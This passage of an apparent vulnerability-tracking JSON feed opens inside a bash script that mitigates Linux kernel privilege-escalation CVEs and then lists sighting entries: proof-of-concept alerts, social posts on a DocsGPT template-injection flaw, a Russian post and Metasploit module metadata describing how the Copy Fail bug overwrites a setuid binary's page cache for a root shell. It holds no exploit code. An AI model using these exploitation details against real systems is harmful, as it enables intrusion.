act_pedit\n}\n\nmitigate_dirtyfrag() {\n  echo \"-- CVE-2026-43284 / CVE-2026-43500 / CVE-2026-43503 Dirty Frag / DirtyClone (esp4, esp6, rxrpc) --\"\n  write_blacklist \"lpe2026-dirtyfrag.conf\" esp4 esp6 rxrpc\n  unload_modules rxrpc esp6 esp4\n  if [[ \"$DRY_RUN\" == 1 ]]; then\n    dry \"Would flush dirty pages (sync) and drop reclaimable page cache (echo 3 > /proc/sys/vm/drop_caches) to clear any already-corrupted clean pages.\"\n    return\n  fi\n  log \"Flushing dirty pages and dropping reclaimable page cache to clear any already-corrupted clean pages.\"\n  sync\n  echo 3 >/proc/sys/vm/drop_caches 2>/dev/null || warn \"Could not write /proc/sys/vm/drop_caches.\"\n}\n\ndisable_userns() {\n  echo \"-- Disabling unprivileged user namespaces (pedit COW / DirtyClone hardening) --\"\n  local key\n  case \"$FAMILY\" in\n    rhel) key=\"user.max_user_namespaces\" ;;\n    debian) key=\"kernel.unprivileged_userns_clone\" ;;\n  esac\n  if [[ \"$DRY_RUN\" == 1 ]]; then\n    dry \"Would save current $key to $STATE_DIR/sysctl.$key, write '$key = 0' to $SYSCTL_CONF, and run: sysctl -w $key=0\"\n    return\n  fi\n  save_prior_sysctl \"$key\"\n  echo \"$key = 0\" >\"$SYSCTL_CONF\"\n  sysctl -w \"$key=0\" >/dev/null\n  log \"Set $key=0 (persisted in $SYSCTL_CONF).\"\n}\n\nrevert_all() {\n  echo \"-- Reverting lpe2026 mitigations --\"\n  local f\n  local blacklist_files=(\n    \"$MODPROBE_DIR/lpe2026-copyfail.conf\"\n    \"$MODPROBE_DIR/lpe2026-pedit.conf\"\n    \"$MODPROBE_DIR/lpe2026-dirtyfrag.conf\"\n  )\n  if [[ \"$DRY_RUN\" == 1 ]]; then\n    for f in \"${blacklist_files[@]}\"; do\n      [[ -f \"$f\" ]] && dry \"Would remove $f\"\n    done\n  else\n    rm -f \"${blacklist_files[@]}\"\n    log \"Removed modprobe.d blacklist files \u2014 modules can load again on next request.\"\n  fi\n\n  remove_boot_param \"$BOOT_PARAM\"\n\n  local key=\"\"\n  case \"$FAMILY\" in\n    rhel) key=\"user.max_user_namespaces\" ;;\n    debian) key=\"kernel.unprivileged_userns_clone\" ;;\n  esac\n  if [[ -n \"$key\" && -f \"$SYSCTL_CONF\" ]]; then\n    if [[ \"$DRY_RUN\" == 1 ]]; then\n      dry \"Would remove $SYSCTL_CONF and restore prior $key from $STATE_DIR/sysctl.$key (if a prior value was saved).\"\n    else\n      rm -f \"$SYSCTL_CONF\"\n      restore_prior_sysctl \"$key\"\n    fi\n  fi\n\n  if [[ \"$DRY_RUN\" == 1 ]]; then\n    dry \"esp4/esp6/rxrpc/algif_aead/af_alg/act_pedit would remain unloaded until next use or reboot; revert only allows future loads again.\"\n  else\n    warn \"esp4/esp6/rxrpc/algif_aead/af_alg/act_pedit stay unloaded until next use or reboot; this only allows future loads again.\"\n    echo \"Revert complete. A reboot is recommended to fully restore prior module state.\"\n  fi\n}\n\nreport_status() {\n  echo \"== $(uname -r) \u2014 detected family: $FAMILY ==\"\n  echo\n  echo \"CVE-2026-31431 Copy Fail:\"\n  check_module_status algif_aead\n  check_module_status af_alg\n  echo\n  echo \"CVE-2026-46331 pedit COW:\"\n  check_module_status act_pedit\n  echo\n  echo \"CVE-2026-43284/43500/43503 Dirty Frag / DirtyClone:\"\n  check_module_status esp4\n  check_module_status esp6\n  check_module_status rxrpc\n  echo\n  echo \"Unprivileged user namespaces:\"\n  case \"$FAMILY\" in\n    rhel) sysctl user.max_user_namespaces 2>/dev/null | sed 's/^/  /' ;;\n    debian) sysctl kernel.unprivileged_userns_clone 2>/dev/null | sed 's/^/  /' ;;\n  esac\n}\n\nprint_summary() {\n  echo\n  echo \"== Summary ==\"\n  echo \"These are compensating controls, not a fix. Install the vendor kernel update and reboot when possible:\"\n  case \"$FAMILY\" in\n    rhel) echo \"  dnf update kernel   (or: yum update kernel)\" ;;\n    debian) echo \"  apt update && apt install --only-upgrade linux-image-generic\" ;;\n  esac\n  echo \"Log: $LOG_FILE\"\n}\n\nparse_args() {\n  while [[ $# -gt 0 ]]; do\n    case \"$1\" in\n      --apply) APPLY=1 ;;\n      --include-dirtyfrag) INCLUDE_DIRTYFRAG=1 ;;\n      --disable-userns) DISABLE_USERNS_FLAG=1 ;;\n      --yes) ASSUME_YES=1 ;;\n      --revert) DO_REVERT=1 ;;\n      --dry-run) DRY_RUN_FLAG=1 ;;\n      --status) APPLY=0 ;;\n      -h|--help) usage; exit 0 ;;\n      *) echo \"Unknown option: $1\" >&2; usage; exit 1 ;;\n    esac\n    shift\n  done\n  if [[ ( \"$INCLUDE_DIRTYFRAG\" == 1 || \"$DISABLE_USERNS_FLAG\" == 1 ) && \"$APPLY\" != 1 && \"$DRY_RUN_FLAG\" != 1 ]]; then\n    echo \"--include-dirtyfrag/--disable-userns require --apply or --dry-run\" >&2\n    exit 1\n  fi\n}\n\nmain() {\n  parse_args \"$@\"\n  require_root\n  FAMILY=\"$(detect_family)\"\n  if [[ \"$FAMILY\" == unknown ]]; then\n    echo \"Unsupported/undetected distro (expected RHEL, AlmaLinux, CentOS, or Ubuntu). Aborting.\" >&2\n    exit 1\n  fi\n\n  if [[ \"$DRY_RUN_FLAG\" == 1 ]]; then\n    DRY_RUN=1\n  elif [[ \"$APPLY\" != 1 && \"$DO_REVERT\" != 1 ]]; then\n    DRY_RUN=1\n  fi\n  [[ \"$DRY_RUN\" == 1 ]] || mkdir -p \"$STATE_DIR\"\n\n  if [[ \"$DRY_RUN\" == 1 ]]; then\n    echo \"== DRY RUN \u2014 previewing actions, no changes will be made ==\"\n    echo\n  fi\n\n  if [[ \"$DO_REVERT\" == 1 ]]; then\n    revert_all\n    if [[ \"$DRY_RUN\" == 1 ]]; then\n      echo\n      echo \"Dry run only \u2014 no changes made. Re-run without --dry-run to actually revert.\"\n    fi\n    exit 0\n  fi\n\n  report_status\n  echo\n\n  mitigate_copyfail\n  echo\n  mitigate_pedit\n\n  if [[ \"$INCLUDE_DIRTYFRAG\" == 1 ]]; then\n    echo\n    if [[ \"$DRY_RUN\" == 1 ]]; then\n      dry \"Would ask to confirm: 'This disables the IPsec (ESP) kernel dataplane and AF_RXRPC (breaks AFS mounts). Continue?' \u2014 previewing as if confirmed:\"\n      mitigate_dirtyfrag\n    elif confirm \"This disables the IPsec (ESP) kernel dataplane and AF_RXRPC (breaks AFS mounts). Continue?\"; then\n      mitigate_dirtyfrag\n    else\n      warn \"Skipped Dirty Frag / DirtyClone mitigation \u2014 CVE-2026-43284/43500/43503 remain unmitigated.\"\n    fi\n  fi\n\n  if [[ \"$DISABLE_USERNS_FLAG\" == 1 ]]; then\n    echo\n    if [[ \"$DRY_RUN\" == 1 ]]; then\n      dry \"Would ask to confirm: 'This disables unprivileged user namespaces (breaks rootless containers/sandboxes). Continue?' \u2014 previewing as if confirmed:\"\n      disable_userns\n    elif confirm \"This disables unprivileged user namespaces (breaks rootless containers/sandboxes). Continue?\"; then\n      disable_userns\n    else\n      warn \"Skipped userns lockdown.\"\n    fi\n  fi\n\n  print_summary\n\n  if [[ \"$DRY_RUN\" == 1 ]]; then\n    echo\n    if [[ \"$APPLY\" == 1 ]]; then\n      echo \"Dry run only \u2014 no changes made. Re-run without --dry-run to apply the changes shown above.\"\n    else\n      echo \"Dry run only \u2014 no changes made. Re-run with --apply to mitigate (add --yes to skip prompts).\"\n    fi\n  fi\n}\n\nmain \"$@\"\n", "creation_timestamp": "2026-09-04T10:19:04.036750Z"}, {"uuid": "c04f04e8-692c-4f81-9334-67397a676eac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31787", "type": "published-proof-of-concept", "source": "Telegram/_CQMtoE_EbSJ7yTkSwzPGTr5n5cXGRrCDjqhXlQyTvYmv40", "content": "", "creation_timestamp": "2026-09-04T12:00:13.544717Z"}, {"uuid": "e03204bb-d7d8-42d6-b225-c3e7dd4d4060", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101102", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a FranklinF25\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-04 14:35:40\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-04T17:00:06.290185Z"}, {"uuid": "7c5a79ea-15c2-49ba-b727-619ec885bef7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31020", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muponykjjc25", "content": "CVE-2026-31020\nDocsGPT versions up to 0.15 let users create their own chatbot prompts, but the software does not check or protect the content of those prompts. This means a remote attacker could insert special code that the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-04T19:20:06.753457Z"}, {"uuid": "8d53db7c-0a1b-4084-bf79-a46209276e6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31020", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3muprdzukii2p", "content": "\ud83d\udea8 CVE-2026-31020 \u2014 CVSS 9.8 CRITICAL\n\nIn DocsGPT 0.15.0 and below, the application provides a custom prompt feature that allows users to define p...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-31020\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-04T20:08:13.564372Z"}, {"uuid": "b1fff1c4-8d43-412e-9bb2-4efcb4fe290e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101102", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a FranklinF25\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-04 14:35:40\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-05T01:00:22.425975Z"}, {"uuid": "18a38b6b-4cbc-4ea6-a3b5-959dac10e186", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31787", "type": "published-proof-of-concept", "source": "Telegram/_CQMtoE_EbSJ7yTkSwzPGTr5n5cXGRrCDjqhXlQyTvYmv40", "content": "", "creation_timestamp": "2026-09-05T01:00:30.375020Z"}, {"uuid": "11d69a13-9a38-4836-b0f2-1232a79ddbb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "creation_timestamp": "2026-09-05T07:00:03.855297Z"}, {"uuid": "370782a3-657f-4e8c-a07a-bd93ba5188cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31020", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3muqvvmznns2k", "content": "\ud83d\udd34 CVE-2026-31020 - Critical (9.8)\n\nIn DocsGPT 0.15.0 and below, the application provides a custom prompt feature that allows users t...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-31020/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-05T07:02:19.270798Z"}, {"uuid": "ac781d77-e95d-4788-b7dc-549bdf129089", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31852", "type": "published-proof-of-concept", "source": "Telegram/YJsowlW547t1nz_VQFuE816o5aakA7dg24Hd3X_oXjq4JUg", "content": "", "creation_timestamp": "2026-09-05T13:00:04.170496Z"}, {"uuid": "42dd2431-8ed7-4343-b0f3-0652a71ad352", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/haccking/13021", "content": "Copy Fail \u2014 \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 Linux (CVE-2026-31431)\n\n#linux #lpe #pentest #cve\n\n\u0421\u0432\u0435\u0436\u0430\u044f LPE \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 Linux, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 2017 \u0433\u043e\u0434\u0430. \u041a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c authencesn \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0447\u0430\u0441\u0442\u044c \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u00ab\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430\u00bb \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0431\u0430\u0439\u0442\u0430 \u043f\u0440\u044f\u043c\u043e \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043a\u0435\u0448\u0430 \u0444\u0430\u0439\u043b\u0430. \u042d\u0442\u043e \u0434\u0430\u0451\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0435\u0448 \u043b\u044e\u0431\u043e\u0433\u043e \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \u042d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 732-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 Python-\u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 AF_ALG \u0438 splice \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0431\u0430\u0439\u0442 \u0432 \u043a\u0435\u0448, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, setuid-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0448\u0435\u043b\u043b \u0441 \u0440\u0443\u0442\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438.\n\n\u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0441\u0442\u0430\u0442\u044c\u044e\n\u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 GitHub\n\nLH | News | OSINT | AI", "creation_timestamp": "2026-09-05T18:00:06.776273Z"}, {"uuid": "17008bdc-61c2-4570-b93b-ffde2ec9fc98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/haccking/13021", "content": "Copy Fail \u2014 \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 Linux (CVE-2026-31431)\n\n#linux #lpe #pentest #cve\n\n\u0421\u0432\u0435\u0436\u0430\u044f LPE \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 Linux, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 2017 \u0433\u043e\u0434\u0430. \u041a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c authencesn \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0447\u0430\u0441\u0442\u044c \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u00ab\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430\u00bb \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0431\u0430\u0439\u0442\u0430 \u043f\u0440\u044f\u043c\u043e \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043a\u0435\u0448\u0430 \u0444\u0430\u0439\u043b\u0430. \u042d\u0442\u043e \u0434\u0430\u0451\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0435\u0448 \u043b\u044e\u0431\u043e\u0433\u043e \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \u042d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 732-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 Python-\u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 AF_ALG \u0438 splice \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0431\u0430\u0439\u0442 \u0432 \u043a\u0435\u0448, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, setuid-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0448\u0435\u043b\u043b \u0441 \u0440\u0443\u0442\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438.\n\n\u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0441\u0442\u0430\u0442\u044c\u044e\n\u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 GitHub\n\nLH | News | OSINT | AI", "creation_timestamp": "2026-09-06T00:00:38.614228Z"}, {"uuid": "c632d44b-94c0-436c-8f2b-d4f7d08f4ef2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31852", "type": "published-proof-of-concept", "source": "Telegram/YJsowlW547t1nz_VQFuE816o5aakA7dg24Hd3X_oXjq4JUg", "content": "", "creation_timestamp": "2026-09-06T00:00:45.582638Z"}, {"uuid": "e56633b5-97bc-46ca-86b1-8621f24ad223", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "creation_timestamp": "2026-09-06T00:00:53.620843Z"}, {"uuid": "9774043c-96fd-42ff-91fc-766139303d22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/e1Caytt7o3CU8fUDytk0bAna7P5-tN7kuZQtd1sYjUWP61A", "content": "", "creation_timestamp": "2026-09-07T20:00:03.827666Z"}, {"uuid": "1ddb32e8-1084-40f8-9ea0-501d286c1341", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/e1Caytt7o3CU8fUDytk0bAna7P5-tN7kuZQtd1sYjUWP61A", "content": "", "creation_timestamp": "2026-09-08T00:00:24.780992Z"}, {"uuid": "92ff9459-deb9-49d4-9990-318250b732cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31020", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3muy6s55sty27", "content": "CVE-2026-31020: SSTI to RCE in DocsGPT \u22640.15.0 via unsanitized Jinja prompts. CVSS 9.8, unpatched. No auth needed. Patch? None yet\u2014disable custom prompts or isolate instance now. Details: https://www.valtersit.com/cve/CVE-2026-31020/ #CVE #infosec #cybersecurity", "creation_timestamp": "2026-09-08T04:30:03.730420Z"}, {"uuid": "1a4e7a00-1baf-406f-bcd4-b93755917d33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31020", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117233536308063782", "content": "CVE-2026-31020: SSTI to RCE in DocsGPT \u22640.15.0 via unsanitized Jinja prompts. CVSS 9.8, unpatched. No auth needed. Patch? None yet\u2014disable custom prompts or isolate instance now. Details: https://www.valtersit.com/cve/CVE-2026-31020/ #CVE #infosec #cybersecurity", "creation_timestamp": "2026-09-08T04:30:05.957867Z"}, {"uuid": "c5235b5d-5a1f-4e6e-845b-8d191abf31b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/cve_2026_31431_copy_fail.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"cmd\", \"author\": [\"Xint Code\", \"rootsecdev\", \"Spencer McIntyre\", \"Diego Ledda\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"CVE-2026-31431 is a logic flaw in the Linux kernel's authencesn AEAD template that, when reached via the\\n          AF_ALG socket interface combined with splice(), allows an unprivileged local user to perform a controlled\\n          4-byte write into the page cache of any readable file. Because the corrupted pages are never marked dirty, the\\n          on-disk file is unchanged but the in-memory version is immediately visible system-wide, enabling local\\n          privilege escalation by injecting shellcode into the page cache of a setuid-root binary such as /usr/bin/su.\\n          The vulnerability was introduced by an in-place optimization in algif_aead.c (commit 72548b093ee3, 2017) and\\n          affects essentially all major Linux distributions shipped since then until the fix in commit a664bf3d603d.\", \"disclosure_date\": \"2026-04-29\", \"fullname\": \"exploit/linux/local/cve_2026_31431_copy_fail\", \"is_install_path\": true, \"mod_time\": \"2026-05-14 11:43:36 +0000\", \"name\": \"Copy Fail AF_ALG + authencesn Page-Cache Write\", \"needs_cleanup\": null, \"notes\": {\"AKA\": [\"Copy Fail\"], \"Reliability\": [\"repeatable-session\"], \"SideEffects\": [], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/local/cve_2026_31431_copy_fail.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/local/cve_2026_31431_copy_fail\", \"references\": [\"CVE-2026-31431\", \"URL-https://copy.fail/\", \"URL-https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py\", \"URL-https://github.com/rootsecdev/cve_2026_31431\"], \"rport\": null, \"session_types\": [\"shell\", \"meterpreter\"], \"targets\": [\"Linux Command\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:07.347571Z"}, {"uuid": "cdb2f9dc-7e85-4341-9092-0bf719520602", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3muz4xx3r3o2i", "content": "\ud83d\udd17 CVE : CVE-2026-31431, CVE-2026-34223", "creation_timestamp": "2026-09-08T13:30:10.512599Z"}, {"uuid": "84a368e0-e7c8-407e-bd73-835928a68a76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "published-proof-of-concept", "source": 